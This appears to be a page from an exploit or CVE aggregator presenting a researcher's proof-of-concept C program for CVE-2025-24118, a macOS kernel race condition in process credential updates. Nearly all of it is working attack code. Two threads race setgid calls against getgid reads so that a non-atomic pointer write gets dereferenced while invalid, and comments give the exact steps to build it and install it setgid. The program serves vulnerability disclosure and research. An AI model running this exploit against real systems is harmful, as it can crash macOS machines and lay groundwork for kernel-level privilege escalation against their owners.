4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / TRAVERTINE.c C
// Joseph Ravichandran (@0xjprx)
// PoC for CVE-2025-24118.
// Writeup: https://jprx.io/cve-2025-24118

// gcc TRAVERTINE.c -o travertine
// chgrp everyone travertine
// chmod g+s travertine
// ./travertine

// Race kauth_cred_proc_update against current_cached_proc_cred_update,
// where a non-atomic write to proc_ro.p_ucred can cause it to point
// to invalid memory for long enough for it to be dereferenced.

// This program needs to be a setgid binary for a group
// different than the effective group id of the calling user.
// On macOS, it seems this is 'staff' by default, so set this
// binary to be owned by 'everyone' instead.

// `ls -lah travertine` should look something like this:
// -rwxr-sr-x  1 joseph  everyone   8.9K Oct 23 02:00 travertine

#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/param.h>
#include <errno.h>
#include <string.h>

#define NUM_THREADS ((1))

gid_t rg;
gid_t eg;

void *toggle_cred(void *_unused_) {
    while(true) {
        // Call kauth_cred_proc_update to write to proc_ro.p_ucred:
        setgid(rg);
        setgid(eg);
    }

    return NULL;
}

void *reference_cred(void *_unused_) {
    volatile gid_t tmp;

    // Call current_cached_proc_cred_update to read proc_ro.p_ucred:
    while(true) tmp = getgid();
    return NULL;
}

int main(int argc, char **argv) {
    pthread_t pool[2 * NUM_THREADS];
    rg = getgid();
    eg = getegid();

    if (rg == eg) {
        fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_update\n", rg);
        exit(1);
    }

    printf("Starting %d thread pairs\n", NUM_THREADS);
    printf("rgid: %d\negid: %d\n", rg, eg);
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL);
        pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL);
    }

    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(pool[(2*i)+0], NULL);
        pthread_join(pool[(2*i)+1], NULL);
    }

    printf("Done\n");
    return 0;
}